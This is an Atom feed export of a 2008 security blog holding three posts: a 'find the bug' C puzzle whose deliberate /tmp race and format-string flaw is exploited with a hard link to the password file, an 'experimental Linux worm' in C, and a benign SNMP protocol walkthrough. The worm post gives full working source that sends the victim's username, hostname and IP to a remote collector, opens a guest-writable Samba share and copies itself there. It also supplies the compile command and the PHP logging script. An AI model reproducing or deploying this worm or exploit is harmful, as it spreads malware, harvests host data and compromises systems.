<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8957704937550688425</id><updated>2011-11-28T01:16:09.789+02:00</updated><category term='malware'/><category term='linux'/><category term='worm'/><category term='snmp'/><category term='protocols'/><category term='exploit'/><category term='networking'/><category term='bug'/><category term='poc'/><title type='text'>Networkintruder</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://networkintruder.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8957704937550688425/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://networkintruder.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>stefan_teso</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>3</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8957704937550688425.post-7447251686521696900</id><published>2008-03-04T13:35:00.000+02:00</published><updated>2008-03-07T16:21:46.521+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='bug'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><title type='text'>Where is the bug?</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_r-KWYFW2R1A/R803qnYVNII/AAAAAAAAABQ/bGY-t3HG9hI/s1600-h/bug.jpeg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://3.bp.blogspot.com/_r-KWYFW2R1A/R803qnYVNII/AAAAAAAAABQ/bGY-t3HG9hI/s400/bug.jpeg" alt="" id="BLOGGER_PHOTO_ID_5173852752183637122" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Here is a simple proggy, and your mission is to find out the bug, and how someone could exploit it.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;proggy.c&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;#include stdio.h&lt;br /&gt;#include fcntl.h&lt;br /&gt;&lt;br /&gt;int main(int argc, char* argv[])&lt;br /&gt;{&lt;br /&gt;FILE *fd;&lt;br /&gt;&lt;br /&gt;void writing_pass_to_file(){&lt;br /&gt;fd=fopen("/tmp/test","w");&lt;br /&gt;fprintf(fd,argv[1]);&lt;br /&gt;fclose(fd);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;writing_pass_to_file();&lt;br /&gt;sleep(5);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void some_crypting_here()&lt;br /&gt;{&lt;br /&gt;fd=fopen("/tmp/test","r");&lt;br /&gt;printf("Doing some crypting now..\n");&lt;br /&gt;sleep(5);&lt;br /&gt;fclose(fd);&lt;br /&gt;printf("Crypting done.\n");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;some_crypting_here();&lt;br /&gt;&lt;br /&gt;system("rm /tmp/test");&lt;br /&gt;return 0;&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;About the proggy, let's say that in real world would be a piece of code responsable for some &lt;span style="font-weight: bold;"&gt;user/password management&lt;/span&gt;...It takes the password from command line and does some stuff with it like crypting...&lt;br /&gt;What happens when the program is run in &lt;span style="font-weight: bold;"&gt;superuser&lt;/span&gt; mode?(In Linux)&lt;br /&gt;I will post the simple solution later, when it will be enough responses.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Well, it seems that &lt;span style="font-weight: bold;"&gt;Vhaerun&lt;/span&gt; figured it out: &lt;a href="http://rstzone.org/forum/where-is-the-bug-t10502.rst"&gt;http://rstzone.org/forum/where-is-the-bug-t10502.rst&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Yes, you can exploit this using the &lt;span style="font-weight: bold;"&gt;ln&lt;/span&gt; command to create a link to the password file. One trick is to use the -f option (see &lt;span style="font-weight: bold;"&gt;man ln&lt;/span&gt; for more information), to "force" the removing of the destination file.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;ln -f /tmp/test /tmp/test2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In my testings, the -s option, is not so usefull, because the removing action of the file, alters the link.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8957704937550688425-7447251686521696900?l=networkintruder.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://networkintruder.blogspot.com/feeds/7447251686521696900/comments/default' title='Postare comentarii'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8957704937550688425&amp;postID=7447251686521696900' title='0 comentarii'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8957704937550688425/posts/default/7447251686521696900'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8957704937550688425/posts/default/7447251686521696900'/><link rel='alternate' type='text/html' href='http://networkintruder.blogspot.com/2008/03/where-is-bug.html' title='Where is the bug?'/><author><name>stefan_teso</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_r-KWYFW2R1A/R803qnYVNII/AAAAAAAAABQ/bGY-t3HG9hI/s72-c/bug.jpeg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8957704937550688425.post-6622541076144655946</id><published>2008-03-01T21:55:00.000+02:00</published><updated>2008-03-01T23:38:15.882+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='poc'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='worm'/><title type='text'>Experimental Linux worm</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_r-KWYFW2R1A/R8m15pD_7iI/AAAAAAAAABI/8SBtF3jPAac/s1600-h/story.computer.virus.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://1.bp.blogspot.com/_r-KWYFW2R1A/R8m15pD_7iI/AAAAAAAAABI/8SBtF3jPAac/s400/story.computer.virus.jpg" alt="" id="BLOGGER_PHOTO_ID_5172865648891522594" border="0" /&gt;&lt;/a&gt;Today, in my bored state of mind, my thoughts stumbled upon the concept of a &lt;span style="font-weight: bold;"&gt;*nix worm&lt;/span&gt;. So, I decided to give it a try and some experimental stuff. I wanted my little project to be something simple and interesting in the same time.&lt;br /&gt;&lt;br /&gt;The particularity that differentiates a worm from other types of &lt;span style="font-weight: bold;"&gt;malware&lt;/span&gt; is the fact that it can propagate in the wild. So, in our case, the propagation method will be the replication of the worm thru &lt;span style="font-weight: bold;"&gt;samba shares&lt;/span&gt;.&lt;br /&gt;However the worm would need &lt;span style="font-weight: bold;"&gt;root access&lt;/span&gt;, to achieve this goal, I will not present the methods it could use to &lt;span style="font-weight: bold;"&gt;escalate his privileges&lt;/span&gt;.&lt;br /&gt;Other feature that my experimental worm has, is the ability to send information about his host, like &lt;span style="font-weight: bold;"&gt;hostname&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;ip&lt;/span&gt;, to a remote site, using simple &lt;span style="font-weight: bold;"&gt;POST requests&lt;/span&gt;. This could be used by someone to track the worm's activity and spreading rate. It's improbable that these &lt;span style="font-weight: bold;"&gt;POST requests&lt;/span&gt; will be block, because of the highly permisive state regarding &lt;span style="font-weight: bold;"&gt;outgoing connections&lt;/span&gt; on port 80 on the most routers/firewalls.&lt;br /&gt;In the code, you will notice, the use of &lt;span style="font-weight: bold;"&gt;libcurl library&lt;/span&gt; to make POST requests, the use of libc functions to get the information we want from the host, and some simple editing of the &lt;span style="font-weight: bold;"&gt;smb.conf&lt;/span&gt; file to make the /tmp/share directory available in the network.&lt;br /&gt;(&lt;&gt; not shown for the librarys because of some stupid bug who considers what is between &lt;&gt; is a tag)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;worm.c&lt;/span&gt;:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;#include stdio.h&lt;br /&gt;&lt;span style="font-style: italic;"&gt;#include fcntl.h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;#include unistd.h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;#include curl/curl.h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;#include sys/socket.h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;#include netdb.h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;int main()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;FILE* fd;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;CURL *curl;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;CURLcode makeit;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;struct hostent *he;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;struct in_addr addr;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;const char *ceva="\n[Test]\n\tcomment = teste\n\tpath = /tmp/share/\n;\twritable = yes\n;\tbrowseable= yes\n\tguest ok = yes\navailable = yes\nbrowsable = yes\npublic= yes\nwritable = yes";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;char name[1000] = "user=";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;char *user = getlogin();            &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;char leg1[666]="&amp;amp;nume=";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;char host[666];&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;gethostname(host,sizeof host);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;char leg2[666]="&amp;amp;ip=";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;he=gethostbyname(host);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;strcat(name,user);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;strcat(name,leg1);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;strcat(name,host);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;strcat(name,leg2);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;strcat(name,inet_ntoa(*(struct in_addr*)he-&gt;h_addr));&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;curl = curl_easy_init();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;if(curl){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;curl_easy_setopt(curl,CURLOPT_URL,"http://192.168.0.103/post.php");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;curl_easy_setopt(curl,CURLOPT_POSTFIELDS,name);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;makeit = curl_easy_perform(curl);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;curl_easy_cleanup(curl);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;system("mkdir /tmp/share");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;fd = fopen("/etc/samba/smb.conf","a");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;fprintf(fd,ceva);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;system("cp worm /tmp/share");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;fclose(fd);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you want to replicate and experiment yourself, make sure you modify the variables values accordingly to your situation.(for example, the site's url)&lt;br /&gt;&lt;br /&gt;To compile it:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;gcc -lcurl -o worm worm.c&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;And, the small php script on the remote site:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;span&gt;$var1=$_POST['user'];&lt;/span&gt;&lt;br /&gt;&lt;span&gt;$var2=$_POST['nume'];&lt;/span&gt;&lt;br /&gt;&lt;span&gt;$var3=$_POST['ip'];&lt;/span&gt;&lt;br /&gt;&lt;span&gt;$sdf=fopen("log.txt","a");&lt;/span&gt;&lt;br /&gt;&lt;span&gt;fwrite($sdf,$var1);&lt;/span&gt;&lt;br /&gt;&lt;span&gt;fwrite($sdf,"\n");&lt;/span&gt;&lt;br /&gt;&lt;span&gt;fwrite($sdf,$var2);&lt;/span&gt;&lt;br /&gt;&lt;span&gt;fwrite($sdf,"\n");&lt;/span&gt;&lt;br /&gt;&lt;span&gt;fwrite($sdf,$var3);&lt;/span&gt;&lt;br /&gt;&lt;span&gt;fwrite($sdf,"\n");&lt;/span&gt;&lt;br /&gt;&lt;span&gt;fclose($sdf);&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;which will write the data in the &lt;span style="font-weight: bold;"&gt;chmoded 777&lt;/span&gt; log.txt file.&lt;br /&gt;This is only  a &lt;span&gt;&lt;span style="font-weight: bold;"&gt;Proof of Concep&lt;/span&gt;t&lt;/span&gt;, and experimental stuff, and is made for educational purposes.&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8957704937550688425-6622541076144655946?l=networkintruder.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://networkintruder.blogspot.com/feeds/6622541076144655946/comments/default' title='Postare comentarii'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8957704937550688425&amp;postID=6622541076144655946' title='0 comentarii'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8957704937550688425/posts/default/6622541076144655946'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8957704937550688425/posts/default/6622541076144655946'/><link rel='alternate' type='text/html' href='http://networkintruder.blogspot.com/2008/03/experimental-linux-worm.html' title='Experimental Linux worm'/><author><name>stefan_teso</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_r-KWYFW2R1A/R8m15pD_7iI/AAAAAAAAABI/8SBtF3jPAac/s72-c/story.computer.virus.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8957704937550688425.post-6316679783950458237</id><published>2008-02-27T10:17:00.000+02:00</published><updated>2008-02-27T14:49:08.666+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='snmp'/><category scheme='http://www.blogger.com/atom/ns#' term='protocols'/><category scheme='http://www.blogger.com/atom/ns#' term='networking'/><title type='text'>Simple Network Management Protocol dissection</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.cscare.com/img/scr/scr-schema.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 400px;" src="http://www.cscare.com/img/scr/scr-schema.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;In the following lines I will present a &lt;span style="font-weight: bold;"&gt;Simple Network Management Protocol&lt;/span&gt; v2 "dissection". Thou the current SNMP version is 3, which brings many security enhancements, version 2 is still widely used, and besides that, is the version of the subjects I'm working with.&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;     The SNMP arhitecture requires a management station to query and get the information, and an agent, to send the requested information. In my case, the management station will be &lt;a href="http://autoscan-network.com/"&gt;AutoScan&lt;/a&gt; , which will discover and automatically query, snmp enabled devices. Also, there are other well known tools, like SNMP walk, Snmpcheck, Snmp enum, or Mib browser.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;    A snmp message consists of a version identifier,  an snmp community name(which actually acts like a authentication mechanism, allowing read,read-write, or only write acces on snmp enabled devices), and a &lt;span style="font-weight: bold;"&gt;protocol data unit&lt;/span&gt; (&lt;span style="font-weight: bold;"&gt;PDU&lt;/span&gt;).&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;    In conformation with RFC 1157, is mandatory that all implementations of SNMP support the five PDU's: &lt;span style="font-weight: bold;"&gt;GetRequest&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;GetNextRequest&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;GetResponse&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;SetRequest&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;Trap&lt;/span&gt;. I think that is clearly what each PDU does, the name says all, only one mention here: &lt;span style="font-weight: bold;"&gt;GetNextRequest&lt;/span&gt; will request the following variable (&lt;span style="font-weight: bold;"&gt;OBJECT IDENTIFIER&lt;/span&gt;) in lexicographical order. We will see a bit later, how an &lt;span style="font-weight: bold;"&gt;Oid&lt;/span&gt; looks like.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Now, let's see exactly how snmp is represented in rfc 1157, for a better "visualization":&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.faqs.org/rfcs/rfc1157.html"&gt;RFC1157&lt;/a&gt;-SNMP DEFINITIONS ::= BEGIN&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;IMPORTS&lt;br /&gt;ObjectName, ObjectSyntax, NetworkAddress, IpAddress, TimeTicks&lt;br /&gt;FROM &lt;a href="http://www.faqs.org/rfcs/rfc1155.html"&gt;RFC1155&lt;/a&gt;-SMI;&lt;br /&gt;&lt;br /&gt;-- top-level message&lt;br /&gt;&lt;br /&gt;Message ::=&lt;br /&gt; SEQUENCE {&lt;br /&gt;      version        -- version-1 for this RFC&lt;br /&gt;         INTEGER {&lt;br /&gt;             version-1(0)&lt;br /&gt;         },&lt;br /&gt;&lt;br /&gt;     community      -- community name&lt;br /&gt;         OCTET STRING,&lt;br /&gt;&lt;br /&gt;     data           -- e.g., PDUs if trivial&lt;br /&gt;         ANY        -- authentication is being used&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;-- protocol data units&lt;br /&gt;&lt;br /&gt;PDUs ::=&lt;br /&gt; CHOICE {&lt;br /&gt;     get-request&lt;br /&gt;         GetRequest-PDU,&lt;br /&gt;&lt;br /&gt;     get-next-request&lt;br /&gt;         GetNextRequest-PDU,&lt;br /&gt;&lt;br /&gt;     get-response&lt;br /&gt;         GetResponse-PDU,&lt;br /&gt;&lt;br /&gt;     set-request&lt;br /&gt;         SetRequest-PDU,&lt;br /&gt;&lt;br /&gt;     trap&lt;br /&gt;         Trap-PDU&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;-- the individual PDUs and commonly used&lt;br /&gt;-- data types will be defined later&lt;br /&gt;&lt;br /&gt;END&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;In our example, we will work with &lt;span style="font-weight: bold;"&gt;GetRequest&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;GetNextRequest&lt;/span&gt;,&lt;span style="font-weight: bold;"&gt; GetResponse.&lt;br /&gt;&lt;/span&gt;&lt;span&gt;    So, I fire up &lt;span style="font-weight: bold;"&gt;Wireshark, &lt;/span&gt;set the filter on &lt;span style="font-weight: bold;"&gt;udp.port == 161&lt;/span&gt;, &lt;/span&gt;setup &lt;span style="font-weight: bold;"&gt;Autoscan&lt;/span&gt;, and start exploring the network.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;GetRequest&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_r-KWYFW2R1A/R8U72jjO3wI/AAAAAAAAAAo/FLnsZdH4xCA/s1600-h/Screenshot-%28Untitled%29+-+Wireshark.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_r-KWYFW2R1A/R8U72jjO3wI/AAAAAAAAAAo/FLnsZdH4xCA/s400/Screenshot-%28Untitled%29+-+Wireshark.png" alt="" id="BLOGGER_PHOTO_ID_5171605555546873602" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;We can observe in the packet the version, &lt;span style="font-weight: bold;"&gt;version-1&lt;/span&gt;, which coresponds to &lt;span style="font-weight: bold;"&gt;RFC 1157, &lt;/span&gt;with a value of &lt;span style="font-weight: bold;"&gt;0&lt;/span&gt;, which is ok, because a value different from 0, means error.&lt;br /&gt;Next follows the comunity name: public, the default value, which acts like a authentication mechanism, as I stated before, and travels the network in plain text. After all, &lt;span style="font-weight: bold;"&gt;Simple Network Management Protocol&lt;/span&gt;, was not designed with security in mind.  Next, the &lt;span style="font-weight: bold;"&gt;error-status&lt;/span&gt; and the &lt;span style="font-weight: bold;"&gt;error-index&lt;/span&gt; show that everything is ok, and no error occured. About the &lt;span style="font-weight: bold;"&gt;request-id&lt;/span&gt;, I will talk a bit later.&lt;br /&gt;Next, we can see that the snmp packet, is querying 4 Oid's: &lt;span style="font-weight: bold;"&gt;1.3.6.1.2.1.2.2.1.10.393218, 1.3.6.1.2.1.2.2.1.16.393218&lt;/span&gt;,&lt;span style="font-weight: bold;"&gt;1.3.6.1.2.1.1.3.0&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;, 1.3.6.1.2.1.1.5.0; &lt;/span&gt;while the first two variables are not standard they are formed with standard variables: &lt;span style="font-weight: bold;"&gt;1.3.6.1.2.1.2.2.1.10 (&lt;/span&gt;&lt;span style="font-family:monospace;"&gt;IfInoctets-the total number of octets recived on the interface&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;), and &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;1.3.6.1.2.1.2.2.1.16&lt;/span&gt; (IfOutOctets-the total number of octets transmitted out of the interface); I think that this is a custom OID made by Autoscan Tool, you can register your own OID's &lt;a href="http://www.oid-info.com/"&gt;here&lt;/a&gt; . The next two OID's represent &lt;span style=""&gt;SysUptime and &lt;/span&gt;&lt;span style=""&gt;sysName; basically we are asking for de device's uptime and his name.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;GetNextRequest&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_r-KWYFW2R1A/R8U_qjjO3xI/AAAAAAAAAAw/ygHQRHhzxmo/s1600-h/getnextrequest-+Wireshark-1.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_r-KWYFW2R1A/R8U_qjjO3xI/AAAAAAAAAAw/ygHQRHhzxmo/s400/getnextrequest-+Wireshark-1.png" alt="" id="BLOGGER_PHOTO_ID_5171609747434954514" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;We see here, how the management station sends a request after the &lt;span style="font-weight: bold;"&gt;1.3.6.1.2.1.1.5&lt;/span&gt; variable binding (Oid), which is &lt;span style="font-weight: bold;"&gt;sysName&lt;/span&gt;, meaning that the management station is querying to find out the name of the snmp enabled device. It's ok that the &lt;span style="font-weight: bold;"&gt;valueType&lt;/span&gt; is unSpecified, because the packet is not returning any value. And here is the response of the agent, returning the value:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;GetResponse&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_r-KWYFW2R1A/R8VC-DjO3yI/AAAAAAAAAA4/xcGo5rRO01k/s1600-h/response-+Wireshark-1.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_r-KWYFW2R1A/R8VC-DjO3yI/AAAAAAAAAA4/xcGo5rRO01k/s400/response-+Wireshark-1.png" alt="" id="BLOGGER_PHOTO_ID_5171613380977286946" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Notice that the request id remains &lt;span style="font-weight: bold;"&gt;1915072317&lt;/span&gt; same, in the GetNextRequest packet and in the GetResponse packet. In the next GetNextRequest packet, querying for the next Oid, &lt;span style="font-weight: bold;"&gt;1.3.6.1.2.1.1.1&lt;/span&gt; (&lt;span style="font-weight: bold;"&gt;sysDescr&lt;/span&gt;), in our case, the request id will be incremented by one. (&lt;span style="font-weight: bold;"&gt;1915072318&lt;/span&gt;)&lt;br /&gt;Something else to notice is that the packet returns the value of the Object Identifier requested, &lt;span style="font-weight: bold;"&gt;sysName, &lt;/span&gt;which is in our case, the octet string BOX.&lt;br /&gt;&lt;br /&gt;A few example's of OID's:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;1.3.6.1.2.1.25.1.1.0 -&gt; &lt;span style=""&gt;hrSystemUptime &lt;/span&gt;;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:times new roman;"&gt;1.3.6.1.2.1.25.2.2.0&lt;/span&gt; -&gt; &lt;span style=""&gt;hrMemorySize ;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=""&gt;1.3.6.1.2.1.4.1.0 -&gt; &lt;/span&gt;&lt;span style=""&gt;IpForwarding;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=""&gt;1.3.6.1.2.1.4.2.0 -&gt; &lt;/span&gt;&lt;span style=""&gt;ipDefaultTTL;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=""&gt;1.3.6.1.2.1.4.13.0 -&gt; &lt;/span&gt;&lt;span style=""&gt;ipReasmTimeout;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=""&gt;1.3.6.1.2.1.4.3.0 -&gt; &lt;/span&gt;&lt;span style=""&gt;ipInReceives;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=""&gt;1.3.6.1.2.1.4.10.0 -&gt; &lt;/span&gt;&lt;span style=""&gt;ipOutRequests;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style=""&gt;However I used &lt;span style="font-weight: bold;"&gt;Autoscan, &lt;/span&gt;to automate snmp request's, there are tools like &lt;span style="font-weight: bold;"&gt;snmpwalk&lt;/span&gt; to help you control the snmp request flow and search after specific OID's. It uses the freely avaible &lt;span style="font-weight: bold;"&gt;Net-SNMP library&lt;/span&gt;, and you could use it to make your own snmp tool, before you have in depth knowledge of the protocol.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Interesting sources avaible on the Internet:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.faqs.org/rfcs/rfc1157.html"&gt;RFC 1157&lt;/a&gt; ;&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Simple_Network_Management_Protocol"&gt;Wikipedia's entry on SNMP&lt;/a&gt; ;&lt;/li&gt;&lt;li&gt;&lt;a href="http://net-snmp.sourceforge.net/"&gt;Net-SNMP&lt;/a&gt; ;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8957704937550688425-6316679783950458237?l=networkintruder.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://networkintruder.blogspot.com/feeds/6316679783950458237/comments/default' title='Postare comentarii'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8957704937550688425&amp;postID=6316679783950458237' title='0 comentarii'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8957704937550688425/posts/default/6316679783950458237'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8957704937550688425/posts/default/6316679783950458237'/><link rel='alternate' type='text/html' 